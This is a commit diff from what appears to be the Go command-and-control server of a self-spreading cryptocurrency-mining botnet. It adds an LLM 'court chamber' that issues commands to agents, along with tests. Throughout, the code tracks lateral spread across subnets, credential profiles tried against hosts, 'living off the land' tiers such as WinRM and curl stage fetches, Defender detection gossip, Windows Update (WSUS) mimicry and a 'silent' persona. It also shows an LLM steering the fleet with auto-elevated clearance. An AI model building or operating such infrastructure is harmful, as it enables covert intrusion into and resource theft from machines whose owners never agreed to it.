Add adversarial L4 court chamber with Seer court_debate feed.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Prosecutor and Public Defender use real fleet telemetry only; Judge dispatches L4 commands and emits full transcripts via seer_events and emberwake_court_debate when ai_control_enabled.
This commit is contained in:
AetherForge
2026-06-07 09:21:32 -07:00
parent e1cecd8aef
commit 5853f80c48
18 changed files with 2152 additions and 9 deletions

View File

@@ -0,0 +1,142 @@
package api
import (
"strings"
"time"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/atlas"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/strategy"
)
// HubCourtChamberAdapter supplies court tribunal data from hub + SQLite.
type HubCourtChamberAdapter struct {
Hub *WSHub
DB *db.Database
}
// NewHubCourtChamberAdapter wires hub evidence for adversarial court sessions.
func NewHubCourtChamberAdapter(hub *WSHub, database *db.Database) *HubCourtChamberAdapter {
return &HubCourtChamberAdapter{Hub: hub, DB: database}
}
func (a *HubCourtChamberAdapter) FailureAtlasSummary(fingerprintKey, goos string) string {
if a == nil {
return ""
}
inner := &DatabaseCourtAdapter{DB: a.DB}
return inner.FailureAtlasSummary(fingerprintKey, goos)
}
func (a *HubCourtChamberAdapter) BestPhenotype(fingerprintKey, goos string) (*strategy.FleetPhenotype, bool) {
if a == nil {
return nil, false
}
inner := &DatabaseCourtAdapter{DB: a.DB}
return inner.BestPhenotype(fingerprintKey, goos)
}
func (a *HubCourtChamberAdapter) ChamberEvidence(agentID string, snap fleetai.AgentSnapshot) fleetai.CourtChamberEvidence {
ev := fleetai.CourtChamberEvidence{
AgentID: agentID,
AgentName: snap.Name,
Hashrate: snap.MiningHashrate,
Stuck: snap.Stuck,
ChainExhausted: snap.ChainExhausted,
ClearanceLevel: snap.ClearanceLevel,
JoinLane: snap.JoinLane,
ActiveMethod: snap.ActiveMethod,
FingerprintKey: snap.FingerprintKey,
}
if a == nil {
return ev
}
goos := firstNonEmpty(snap.GOOS, snap.Platform)
ev.AtlasSummary = a.FailureAtlasSummary(snap.FingerprintKey, goos)
ev.SubnetImmune, ev.ErasureRecovery, ev.GossipWhispers = a.hubEvidence(agentID, snap)
return ev
}
func (a *HubCourtChamberAdapter) hubEvidence(agentID string, snap fleetai.AgentSnapshot) (subnetImmune, erasureRecovery, gossip string) {
if a.Hub == nil {
return "hub unavailable", fleetai.FormatErasureRecovery(false, false, false), "none"
}
prefix := a.Hub.agentSubnetFor(agentID)
if prefix == "" && a.Hub.db != nil {
if ag, err := a.Hub.db.GetAgent(agentID); err == nil && ag != nil {
prefix = atlas.PrefixFromHostOrIP(ag.IP)
}
}
failCount := 0
var pausedUntil *time.Time
if a.Hub.db != nil && prefix != "" {
if row, err := a.Hub.db.GetSubnetSpreadPause(prefix); err == nil && row != nil {
failCount = row.FailCount
pausedUntil = row.PausedUntil
}
}
subnetImmune = fleetai.FormatSubnetImmuneRow(prefix, failCount, pausedUntil)
policy := a.Hub.serverPolicySnapshot()
stageAttempted, stageOK := stageFetchStatus(snap.LOTLAttempts)
erasureRecovery = fleetai.FormatErasureRecovery(policy.ErasureLanesEnabled, stageAttempted, stageOK)
hints := a.Hub.gossipWhispersForSubnet(prefix)
gossip = formatGossipForCourt(hints)
return subnetImmune, erasureRecovery, gossip
}
func stageFetchStatus(attempts []fleetai.TierAttempt) (attempted, ok bool) {
for _, a := range attempts {
if a.Tier == "stage_fetch" || a.Tier == "bits_curl" || a.Tier == "bits" || a.Tier == "curl" {
attempted = true
if a.OK {
ok = true
}
}
}
return attempted, ok
}
func formatGossipForCourt(hints []atlas.GossipHint) string {
if len(hints) == 0 {
return "none recorded on this /24"
}
parts := make([]string, 0, len(hints))
for _, h := range hints {
line := h.Tier + "|" + h.Condition
if h.Reason != "" {
line += " (" + h.Reason + ")"
}
parts = append(parts, line)
}
return strings.Join(parts, "; ")
}
func firstNonEmpty(values ...string) string {
for _, v := range values {
if strings.TrimSpace(v) != "" {
return strings.TrimSpace(v)
}
}
return ""
}
// BroadcastEmberwakeCourtDebate optionally surfaces court transcripts on Emberwake dashboard WS.
func (h *WSHub) BroadcastEmberwakeCourtDebate(agentID string, transcript fleetai.CourtDebateTranscript) {
if h == nil {
return
}
h.broadcastDashboard(Message{
Type: "emberwake_court_debate",
Payload: mustMarshal(map[string]interface{}{
"agent_id": agentID,
"agent_name": transcript.AgentName,
"verdict": transcript.Verdict,
"transcript": transcript.Transcript,
"evidence": transcript.Evidence,
"ts": transcript.Timestamp,
}),
})
}

View File

@@ -0,0 +1,175 @@
package api
import (
"context"
"encoding/json"
"io"
"net/http"
"net/http/httptest"
"strings"
"sync"
"testing"
"time"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/atlas"
"crypto-miner-server/internal/clearance"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func TestHubCourtChamberEvidenceRealData(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
agentID := "chamber-evidence-agent"
if err := database.UpsertAgent(&models.Agent{
ID: agentID, Name: "Patient", IP: "192.168.50.10", Platform: "windows", Status: "online",
ChainExhausted: true,
}); err != nil {
t.Fatal(err)
}
for i := 0; i < 3; i++ {
_, _ = database.RecordSubnetSpreadFailure("192.168.50")
}
hub := NewWSHub(database)
hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true, AIControlEnabled: true})
hub.mu.Lock()
hub.subnetGossipWhispers = map[string][]atlas.GossipHint{
"192.168.50": {{Tier: "docker", Condition: "no_docker", Reason: "lan gossip"}},
}
hub.mu.Unlock()
adapter := NewHubCourtChamberAdapter(hub, database)
snap := fleetai.AgentSnapshot{
AgentID: agentID, Name: "Patient", GOOS: "windows",
MiningHashrate: 0, Stuck: true, ChainExhausted: true,
LOTLAttempts: []fleetai.TierAttempt{{Tier: "docker", OK: false, Error: "denied"}},
}
ev := adapter.ChamberEvidence(agentID, snap)
if !strings.Contains(ev.SubnetImmune, "192.168.50") || !strings.Contains(ev.SubnetImmune, "fail_count=3") {
t.Fatalf("subnet immune=%q", ev.SubnetImmune)
}
if !strings.Contains(ev.ErasureRecovery, "lanes_enabled=true") {
t.Fatalf("erasure=%q", ev.ErasureRecovery)
}
if !strings.Contains(ev.GossipWhispers, "docker|no_docker") {
t.Fatalf("gossip=%q", ev.GossipWhispers)
}
}
func TestIntegrationCourtChamberEmitsSeerDebate(t *testing.T) {
var llmBody string
var llmMu sync.Mutex
llmSrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost || !strings.HasSuffix(r.URL.Path, "/chat/completions") {
http.NotFound(w, r)
return
}
raw, _ := io.ReadAll(r.Body)
llmMu.Lock()
llmBody = string(raw)
llmMu.Unlock()
_ = json.NewEncoder(w).Encode(map[string]interface{}{
"choices": []map[string]interface{}{
{"message": map[string]string{
"content": "Verdict: restart mining after adversarial chamber.\n" +
`{"commands":[{"type":"restart_mining","args":{}}]}`,
}},
},
})
}))
t.Cleanup(llmSrv.Close)
aiCfg := FleetAIConfigView{
AIControlEnabled: true, AIEndpoint: llmSrv.URL + "/v1",
AIModel: "test-model", AIDecisionIntervalSec: 1, AIAutoElevateClearance: true,
}
hub, database, _ := newFleetIntelligenceHub(t, aiCfg)
hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true, AIControlEnabled: true})
courtChamber := NewHubCourtChamberAdapter(hub, database)
seerEmitter := &HubSeerEmitter{Hub: hub, DB: database}
sched := fleetai.NewScheduler(
&ConfigAIAdapter{Src: &mutableFleetAIConfig{view: aiCfg}},
&WSHubSnapshotAdapter{Hub: hub},
&ClearanceGuardExecutor{Inner: &FleetAIExecutor{Hub: hub}, Clearance: hub.ClearanceManager()},
&DatabaseAIDecisionStore{DB: database},
courtChamber,
hub.ClearanceManager(),
)
sched.SetCourtDeps(fleetai.CourtDeps{Chamber: courtChamber, Seer: seerEmitter})
old := fleetai.DecideFunc
fleetai.DecideFunc = func(ctx context.Context, endpoint, model, systemPrompt, userPrompt string) (string, error) {
return fleetai.Decide(ctx, endpoint, model, systemPrompt, userPrompt)
}
t.Cleanup(func() { fleetai.DecideFunc = old })
agentID := "court-chamber-agent"
conn := connectIntelAgent(t, hub, agentID, map[string]interface{}{
"agent_id": agentID, "hostname": "chamber-host", "platform": "windows", "version": "1.0",
})
pushStuckAgentTelemetry(t, conn)
seedStuckAgentDB(t, database, agentID)
waitForAgentTelemetry(t, hub, agentID, "stuck", "lotl_attempts")
dashConn := connectTestDashboard(t, hub)
seerCh := make(chan map[string]interface{}, 1)
go func() {
for {
var msg Message
if err := dashConn.ReadJSON(&msg); err != nil {
return
}
if msg.Type != "seer_events" {
continue
}
var body map[string]interface{}
if json.Unmarshal(msg.Payload, &body) != nil {
continue
}
if body["event_type"] != "court_debate" {
continue
}
seerCh <- body
return
}
}()
sched.ResetLastRunForTest(agentID, 2*time.Minute)
sched.Tick()
llmMu.Lock()
body := llmBody
llmMu.Unlock()
if !strings.Contains(body, "PUBLIC DEFENDER") {
t.Fatalf("expected adversarial chamber judge prompt, got: %s", body)
}
select {
case ev := <-seerCh:
payload, ok := ev["payload"].(map[string]interface{})
if !ok {
// payload may be json.RawMessage nested
if raw, ok2 := ev["payload"]; ok2 {
b, _ := json.Marshal(raw)
_ = json.Unmarshal(b, &payload)
}
}
if ev["event_type"] != "court_debate" {
t.Fatalf("event_type=%v", ev["event_type"])
}
case <-time.After(5 * time.Second):
events, _ := database.ListSeerEvents(5)
t.Fatalf("timed out waiting for court_debate seer_events; db events=%+v", events)
}
if level := hub.ClearanceManager().Level(agentID); level < clearance.L1 {
t.Fatalf("unexpected clearance %d", level)
}
}

View File

@@ -516,15 +516,6 @@ func TestIntegrationSurgicalReplayFlow(t *testing.T) {
if err := database.UpsertAgent(&models.Agent{
ID: agentID, Name: "surgical-host", Platform: "windows", Status: "online",
SpreadStrain: "#112233",
LOTLAttempts: []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
}{
{Tier: "vuln_recon", OK: true},
{Tier: "docker", OK: false, Error: "daemon missing"},
},
}); err != nil {
t.Fatal(err)
}

View File

@@ -0,0 +1,107 @@
package api
import (
"encoding/json"
"testing"
"time"
"crypto-miner-server/internal/atlas"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/gorilla/websocket"
)
func TestFleetTorrentGossipRelayCrossSubnet(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetServerPolicy(ServerPolicy{FleetTorrentEnabled: true})
_ = database.UpsertAgent(&models.Agent{ID: "ft-a", Name: "a", IP: "10.1.1.10", Status: "online"})
_ = database.UpsertAgent(&models.Agent{ID: "ft-b", Name: "b", IP: "10.2.2.20", Status: "online"})
connA := connectTestAgentWithIP(t, hub, "ft-a", "10.1.1.10")
connB := connectTestAgentWithIP(t, hub, "ft-b", "10.2.2.20")
recvCh := make(chan Message, 2)
go readUntilType(connB, "fleet_torrent_gossip", recvCh)
payload, _ := json.Marshal(map[string]interface{}{
"records": []atlas.FleetGossipRecord{{
Kind: atlas.FleetGossipHaveShard, AgentID: "ft-a", Token: "tok",
ShardIndex: 0, ShardHash: "abc", Subnet: "10.1.1",
}},
})
if err := connA.WriteJSON(Message{Type: "fleet_torrent_gossip", Payload: payload}); err != nil {
t.Fatal(err)
}
select {
case msg := <-recvCh:
var body map[string]interface{}
if err := json.Unmarshal(msg.Payload, &body); err != nil {
t.Fatal(err)
}
recs, _ := body["records"].([]interface{})
if len(recs) != 1 {
t.Fatalf("records=%v", body["records"])
}
case <-time.After(2 * time.Second):
t.Fatal("cross-subnet peer did not receive fleet_torrent_gossip")
}
_ = websocket.CloseNormalClosure
}
func TestAuthSubnetPrimarySeederHint(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetServerPolicy(ServerPolicy{FleetRolesEnabled: true, FleetTorrentEnabled: true})
conn, _ := dialAgentWS(t, hub)
resp := authAgentConn(t, conn, map[string]interface{}{
"agent_id": "seed-primary-aa",
"hostname": "host",
"platform": "windows",
"version": "test",
"fleet_role": "seeder",
"seeder_mode": true,
})
var body map[string]interface{}
if err := json.Unmarshal(resp.Payload, &body); err != nil {
t.Fatal(err)
}
if _, ok := body["subnet_primary_seeder"].(string); !ok {
t.Fatalf("subnet_primary_seeder missing: %#v", body)
}
if body["fleet_torrent_enabled"] != true {
t.Fatalf("fleet_torrent_enabled=%#v", body["fleet_torrent_enabled"])
}
}
func TestSubnetPrimarySeederElection(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.storeAgentFleetRole("aaa-seeder", "seeder")
hub.storeAgentFleetRole("bbb-seeder", "seeder")
hub.mu.Lock()
hub.agentLiveTelemetry["aaa-seeder"] = map[string]interface{}{"fleet_role": "seeder"}
hub.agentLiveTelemetry["bbb-seeder"] = map[string]interface{}{"fleet_role": "seeder"}
hub.mu.Unlock()
_ = database.UpsertAgent(&models.Agent{ID: "aaa-seeder", IP: "10.5.5.1"})
_ = database.UpsertAgent(&models.Agent{ID: "bbb-seeder", IP: "10.5.5.2"})
pick := hub.electSubnetPrimarySeeder("10.5.5")
if pick != "aaa-seeder" {
t.Fatalf("pick=%q", pick)
}
}

View File

@@ -0,0 +1,304 @@
package api
import (
"encoding/json"
"log"
"net/http"
"strings"
"time"
"crypto-miner-server/internal/ai"
"crypto-miner-server/internal/atlas"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/strategy"
)
// SubnetAutopsyHandler serves immune autopsy packets for paused /24 prefixes.
type SubnetAutopsyHandler struct {
hub *WSHub
pathTracer *PathTracerHandler
}
func NewSubnetAutopsyHandler(hub *WSHub, pathTracer *PathTracerHandler) *SubnetAutopsyHandler {
return &SubnetAutopsyHandler{hub: hub, pathTracer: pathTracer}
}
// GET /api/v1/atlas/subnet-autopsy?subnet=
func (h *SubnetAutopsyHandler) Get(w http.ResponseWriter, r *http.Request) {
if h == nil || h.hub == nil {
http.Error(w, "subnet autopsy unavailable", http.StatusServiceUnavailable)
return
}
prefix := atlas.PrefixFromHostOrIP(r.URL.Query().Get("subnet"))
if prefix == "" {
http.Error(w, "subnet query required", http.StatusBadRequest)
return
}
pkt, ok := h.hub.SubnetAutopsy(prefix)
if !ok {
pkt = h.hub.BuildSubnetAutopsy(prefix, h.pathTracer)
}
writeJSON(w, pkt)
}
// TriggerSubnetAutopsy builds, caches, and broadcasts an autopsy when immune pause activates.
func (h *WSHub) TriggerSubnetAutopsy(prefix string, pathTracer *PathTracerHandler) {
pkt := h.BuildSubnetAutopsy(prefix, pathTracer)
h.storeSubnetAutopsy(pkt)
h.BroadcastSeerEvent(map[string]interface{}{
"type": "subnet_immune_autopsy",
"prefix": pkt.Prefix,
"triggered": pkt.TriggeredAt,
"cause": pkt.CauseOfDeath,
"vaccination": pkt.VaccinationLane,
"packet": pkt,
})
log.Printf("[subnet-autopsy] immune pause autopsy for %s (%d failures)", pkt.Prefix, pkt.FailCount)
}
func (h *WSHub) storeSubnetAutopsy(pkt atlas.SubnetAutopsyPacket) {
if h == nil {
return
}
h.mu.Lock()
if h.subnetAutopsies == nil {
h.subnetAutopsies = make(map[string]atlas.SubnetAutopsyPacket)
}
h.subnetAutopsies[pkt.Prefix] = pkt
h.mu.Unlock()
}
// SubnetAutopsy returns a cached autopsy packet for prefix.
func (h *WSHub) SubnetAutopsy(prefix string) (atlas.SubnetAutopsyPacket, bool) {
if h == nil {
return atlas.SubnetAutopsyPacket{}, false
}
prefix = atlas.PrefixFromHostOrIP(prefix)
h.mu.RLock()
pkt, ok := h.subnetAutopsies[prefix]
h.mu.RUnlock()
return pkt, ok
}
// BuildSubnetAutopsy assembles an immune autopsy from fleet state.
func (h *WSHub) BuildSubnetAutopsy(prefix string, pathTracer *PathTracerHandler) atlas.SubnetAutopsyPacket {
prefix = atlas.PrefixFromHostOrIP(prefix)
now := time.Now().UTC()
pkt := atlas.SubnetAutopsyPacket{
Prefix: prefix,
TriggeredAt: now,
Persona: ai.NormalizePersona(h.serverPolicySnapshot().AIPersona),
WSUSMimic: atlas.WSUSMimicSnapshot{
FormatMimicEnabled: true,
CachePeerLane: "wsus_cache_peer",
},
}
policy := h.serverPolicySnapshot()
pkt.ErasureFallback = atlas.ErasureFallbackSnapshot{
ErasureLanesEnabled: policy.ErasureLanesEnabled,
AvailableAsFallback: policy.ErasureLanesEnabled,
}
if h.db != nil {
if row, err := h.db.GetSubnetSpreadPause(prefix); err == nil && row != nil {
pkt.FailCount = row.FailCount
pkt.PausedUntil = row.PausedUntil
}
}
agents := h.agentsOnSubnet(prefix)
pkt.LOTLAttempts = atlas.TrimLOTLAttempts(collectSubnetLOTLAttempts(h, agents), atlas.SubnetAutopsyLOTLAttemptLimit)
pkt.GossipWhispers = atlas.TrimGossipWhispers(h.gossipWhispersForSubnet(prefix), atlas.SubnetAutopsyGossipWhisperLimit)
pkt.FailureAtlas = h.failureAtlasSummaryForSubnet(agents)
if joinLane := recentJoinLane(h, agents); joinLane != "" {
pkt.WSUSMimic.RecentJoinLane = joinLane
if joinLane == "wsus_cache_peer" {
pkt.WSUSMimic.FormatMimicEnabled = true
}
}
if pathTracer != nil {
if hint := pathTracer.RecommendSpreadRoute(prefix, pkt.WSUSMimic.RecentJoinLane, ""); hint != nil {
pkt.VaccinationLane = hint
}
}
pkt.CauseOfDeath = atlas.BuildCauseOfDeath(pkt)
return pkt
}
func (h *WSHub) agentsOnSubnet(prefix string) []*models.Agent {
if h == nil || h.db == nil || prefix == "" {
return nil
}
subnetLabel := prefix + ".x"
agents, err := h.db.ListAgentsFiltered(db.AgentListFilter{Subnet: subnetLabel, Limit: 64})
if err != nil {
return nil
}
return agents
}
func collectSubnetLOTLAttempts(hub *WSHub, agents []*models.Agent) []atlas.LOTLAttemptSnapshot {
var out []atlas.LOTLAttemptSnapshot
for _, ag := range agents {
if ag == nil {
continue
}
attempts := lotlAttemptsForAgent(hub, ag)
for _, a := range attempts {
a.AgentID = ag.ID
a.AgentName = ag.Name
out = append(out, a)
}
}
return out
}
func lotlAttemptsForAgent(hub *WSHub, ag *models.Agent) []atlas.LOTLAttemptSnapshot {
if hub != nil {
hub.mu.RLock()
if tel, ok := hub.agentLiveTelemetry[ag.ID]; ok {
hub.mu.RUnlock()
if parsed := parseLOTLAttemptsFromTelemetry(tel); len(parsed) > 0 {
return parsed
}
} else {
hub.mu.RUnlock()
}
}
return parseLOTLAttemptsFromAgent(ag)
}
func parseLOTLAttemptsFromTelemetry(tel map[string]interface{}) []atlas.LOTLAttemptSnapshot {
raw, ok := tel["lotl_attempts"]
if !ok {
return nil
}
b, err := json.Marshal(raw)
if err != nil {
return nil
}
var attempts []atlas.LOTLAttemptSnapshot
if json.Unmarshal(b, &attempts) != nil {
return nil
}
return attempts
}
func parseLOTLAttemptsFromAgent(ag *models.Agent) []atlas.LOTLAttemptSnapshot {
if ag == nil || len(ag.LOTLAttempts) == 0 {
return nil
}
out := make([]atlas.LOTLAttemptSnapshot, 0, len(ag.LOTLAttempts))
for _, a := range ag.LOTLAttempts {
out = append(out, atlas.LOTLAttemptSnapshot{
Tier: a.Tier,
OK: a.OK,
Error: a.Error,
DurationMs: a.DurationMs,
})
}
return out
}
func recentJoinLane(hub *WSHub, agents []*models.Agent) string {
for _, ag := range agents {
if ag == nil {
continue
}
if hub != nil {
hub.mu.RLock()
if tel, ok := hub.agentLiveTelemetry[ag.ID]; ok {
if lane, ok := tel["join_lane"].(string); ok && strings.TrimSpace(lane) != "" {
hub.mu.RUnlock()
return strings.TrimSpace(lane)
}
}
hub.mu.RUnlock()
}
if strings.TrimSpace(ag.JoinLane) != "" {
return strings.TrimSpace(ag.JoinLane)
}
}
return ""
}
func (h *WSHub) failureAtlasSummaryForSubnet(agents []*models.Agent) string {
if h == nil || h.db == nil || len(agents) == 0 {
return ""
}
for _, ag := range agents {
if ag == nil {
continue
}
domainJoined := ag.FirewallDomain != nil && *ag.FirewallDomain
fp := strategy.FingerprintFromAuth(ag.Platform, ag.IP, domainJoined)
summary, err := h.db.FailureAtlasSummary(fp.Key(), fp.GOOS)
if err == nil && summary != "" && summary != "no fleet failure atlas samples for this fingerprint" {
return summary
}
}
return ""
}
func normalizeGossipSubnetKey(prefix string) string {
prefix = strings.TrimSpace(prefix)
if prefix == "" {
return ""
}
if norm := atlas.PrefixFromHostOrIP(prefix); norm != "" {
return norm
}
prefix = strings.TrimSuffix(prefix, ".0/24")
prefix = strings.TrimSuffix(prefix, "/24")
return strings.TrimSpace(prefix)
}
func (h *WSHub) recordGossipWhisper(prefix string, hints []atlas.GossipHint) {
prefix = normalizeGossipSubnetKey(prefix)
if prefix == "" || len(hints) == 0 {
return
}
h.mu.Lock()
if h.subnetGossipWhispers == nil {
h.subnetGossipWhispers = make(map[string][]atlas.GossipHint)
}
merged := atlas.MergeGossipSkips(toAtlasSkips(h.subnetGossipWhispers[prefix]), hints)
out := make([]atlas.GossipHint, 0, len(merged))
for _, s := range merged {
out = append(out, atlas.GossipHint{Tier: s.Tier, Condition: s.Condition, Reason: s.Reason})
}
h.subnetGossipWhispers[prefix] = out
h.mu.Unlock()
}
func (h *WSHub) gossipWhispersForSubnet(prefix string) []atlas.GossipHint {
prefix = normalizeGossipSubnetKey(prefix)
if h == nil || prefix == "" {
return nil
}
h.mu.RLock()
defer h.mu.RUnlock()
if h.subnetGossipWhispers == nil {
return nil
}
return append([]atlas.GossipHint(nil), h.subnetGossipWhispers[prefix]...)
}
func toAtlasSkips(hints []atlas.GossipHint) []atlas.AtlasSkip {
skips := atlas.SkipsFromHints(hints)
out := make([]atlas.AtlasSkip, len(skips))
copy(out, skips)
return out
}
// BroadcastSeerEvent pushes structured events to dashboard Seer consumers.
func (h *WSHub) BroadcastSeerEvent(ev interface{}) {
if h == nil {
return
}
h.broadcastDashboard(Message{Type: "seer_events", Payload: mustMarshal(ev)})
}

View File

@@ -0,0 +1,143 @@
package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
"crypto-miner-server/internal/atlas"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func TestSubnetAutopsyGETBuildsPacket(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
agentID := "autopsy-agent"
if err := database.UpsertAgent(&models.Agent{
ID: agentID, Name: "Patient", Wallet: "x", IP: "10.0.0.50", Status: "online",
}); err != nil {
t.Fatal(err)
}
for i := 0; i < 5; i++ {
_, _ = database.RecordSubnetSpreadFailure("10.0.0")
}
hub := NewWSHub(database)
hub.SetServerPolicy(ServerPolicy{AIPersona: "silent", ErasureLanesEnabled: true})
hub.mu.Lock()
hub.agentLiveTelemetry[agentID] = map[string]interface{}{
"join_lane": "wsus_cache_peer",
"lotl_attempts": []map[string]interface{}{
{"tier": "winrm", "ok": false, "error": "auth failed", "phase": "spread"},
},
}
hub.subnetGossipWhispers = map[string][]atlas.GossipHint{
"10.0.0": {{Tier: "docker", Condition: "defender_on", Reason: "lan gossip"}},
}
hub.mu.Unlock()
handler := NewSubnetAutopsyHandler(hub, NewPathTracerHandler(hub))
req := httptest.NewRequest(http.MethodGet, "/atlas/subnet-autopsy?subnet=10.0.0.x", nil)
rec := httptest.NewRecorder()
handler.Get(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
var pkt atlas.SubnetAutopsyPacket
if err := json.Unmarshal(rec.Body.Bytes(), &pkt); err != nil {
t.Fatal(err)
}
if pkt.Prefix != "10.0.0" || pkt.FailCount != 5 {
t.Fatalf("packet=%+v", pkt)
}
if pkt.Persona != "silent" || !pkt.ErasureFallback.AvailableAsFallback {
t.Fatalf("policy fields=%+v", pkt)
}
if len(pkt.LOTLAttempts) == 0 || pkt.LOTLAttempts[0].Tier != "winrm" {
t.Fatalf("attempts=%+v", pkt.LOTLAttempts)
}
if len(pkt.GossipWhispers) != 1 || pkt.CauseOfDeath == "" {
t.Fatalf("gossip/cause=%+v %q", pkt.GossipWhispers, pkt.CauseOfDeath)
}
}
func TestTriggerSubnetAutopsyEmitsSeerEvent(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
for i := 0; i < 5; i++ {
_, _ = database.RecordSubnetSpreadFailure("10.1.1")
}
hub := NewWSHub(database)
dashConn := connectTestDashboard(t, hub)
recv := make(chan map[string]interface{}, 1)
go func() {
for {
var msg Message
if err := dashConn.ReadJSON(&msg); err != nil {
return
}
if msg.Type != "seer_events" {
continue
}
var body map[string]interface{}
if json.Unmarshal(msg.Payload, &body) != nil {
continue
}
recv <- body
return
}
}()
hub.TriggerSubnetAutopsy("10.1.1", nil)
select {
case ev := <-recv:
if ev["type"] != "subnet_immune_autopsy" || ev["prefix"] != "10.1.1" {
t.Fatalf("event=%v", ev)
}
if _, ok := ev["cause"].(string); !ok {
t.Fatalf("missing cause: %v", ev)
}
case <-time.After(3 * time.Second):
t.Fatal("timed out waiting for seer_events")
}
}
func TestSpreadCredReportTriggersAutopsyOnPause(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
for i := 0; i < 4; i++ {
_, _ = database.RecordSubnetSpreadFailure("10.2.2")
}
hub := NewWSHub(database)
pathTracer := NewPathTracerHandler(hub)
h := NewSpreadCredHandler(database, nil)
h.BindAutopsyTrigger(hub, pathTracer)
body := `{"host":"10.2.2.9","subnet":"10.2.2","credential_profile_id":"p1","success":false}`
req := httptest.NewRequest(http.MethodPost, "/agent/spread-cred/report", strings.NewReader(body))
rec := httptest.NewRecorder()
h.ReportEdge(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d", rec.Code)
}
pkt, ok := hub.SubnetAutopsy("10.2.2")
if !ok || pkt.FailCount != 5 || pkt.CauseOfDeath == "" {
t.Fatalf("autopsy=%+v ok=%v", pkt, ok)
}
}

View File

@@ -0,0 +1,150 @@
package api
import (
"encoding/json"
"strings"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/spreadrouter"
)
// PathTraceSurgicalAdapter resolves persisted Path Tracer sessions for surgical replay.
type PathTraceSurgicalAdapter struct {
Hub *WSHub
PathTrace *PathTracerHandler
}
func (a *PathTraceSurgicalAdapter) TraceForAgent(agentID string) (fleetai.SurgicalTraceContext, bool) {
if a == nil || agentID == "" {
return fleetai.SurgicalTraceContext{}, false
}
sessions := traceSessionsSnapshot(a.PathTrace)
if len(sessions) == 0 && a.Hub != nil && a.Hub.db != nil {
rows, err := a.Hub.db.ListPathTraceSessions()
if err != nil {
return fleetai.SurgicalTraceContext{}, false
}
for _, row := range rows {
var rec pathTraceSessionPersist
if json.Unmarshal(row.Payload, &rec) != nil {
continue
}
sess := &TraceSession{
ID: rec.ID, AgentIDs: rec.AgentIDs, Hops: rec.Hops,
Error: rec.Error, DiscoverError: rec.DiscoverError,
}
sessions = append(sessions, sess)
}
}
for _, sess := range sessions {
if ctx, ok := surgicalTraceFromSession(sess, agentID); ok {
return ctx, true
}
}
return fleetai.SurgicalTraceContext{}, false
}
func surgicalTraceFromSession(sess *TraceSession, agentID string) (fleetai.SurgicalTraceContext, bool) {
if sess == nil || agentID == "" {
return fleetai.SurgicalTraceContext{}, false
}
hopIndex := -1
for i, hop := range sess.Hops {
if hop != nil && hop.AgentID == agentID {
hopIndex = i
break
}
}
if hopIndex < 0 {
for _, id := range sess.AgentIDs {
if id == agentID {
hopIndex = 0
break
}
}
}
if hopIndex < 0 {
return fleetai.SurgicalTraceContext{}, false
}
ctx := fleetai.SurgicalTraceContext{
SessionID: sess.ID,
HopIndex: hopIndex,
HopCount: len(sess.Hops),
SessionError: strings.TrimSpace(sess.Error),
DiscoverError: strings.TrimSpace(sess.DiscoverError),
}
if len(sess.Hops) > 0 {
last := sess.Hops[len(sess.Hops)-1]
if last != nil {
ctx.EgressAgentID = last.AgentID
}
}
for _, host := range serviceGraphList(sess.ServiceGraph) {
sub := spreadrouter.NormalizeSubnet(host.Subnet)
if sub == "" {
sub = spreadrouter.SubnetFromIP(host.Host)
}
if sub != "" {
ctx.TargetSubnets = append(ctx.TargetSubnets, sub)
}
}
return ctx, true
}
// DatabaseStrainMemoryAdapter persists surgical replay outcomes.
type DatabaseStrainMemoryAdapter struct {
DB interface {
InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome string) error
}
}
func (a *DatabaseStrainMemoryAdapter) InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome string) error {
if a == nil || a.DB == nil {
return nil
}
return a.DB.InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome)
}
// HubSeerEmitter broadcasts and persists Seer feed events.
type HubSeerEmitter struct {
Hub *WSHub
DB interface {
InsertSeerEvent(eventType, agentID string, payload []byte) (int64, error)
}
}
func (e *HubSeerEmitter) EmitSeerEvent(eventType, agentID string, payload map[string]interface{}) error {
if e == nil {
return nil
}
raw, _ := json.Marshal(payload)
var id int64
if e.DB != nil {
var err error
id, err = e.DB.InsertSeerEvent(eventType, agentID, raw)
if err != nil {
return err
}
}
if e.Hub != nil {
e.Hub.BroadcastSeerEvent(map[string]interface{}{
"id": id,
"event_type": eventType,
"agent_id": agentID,
"payload": json.RawMessage(raw),
})
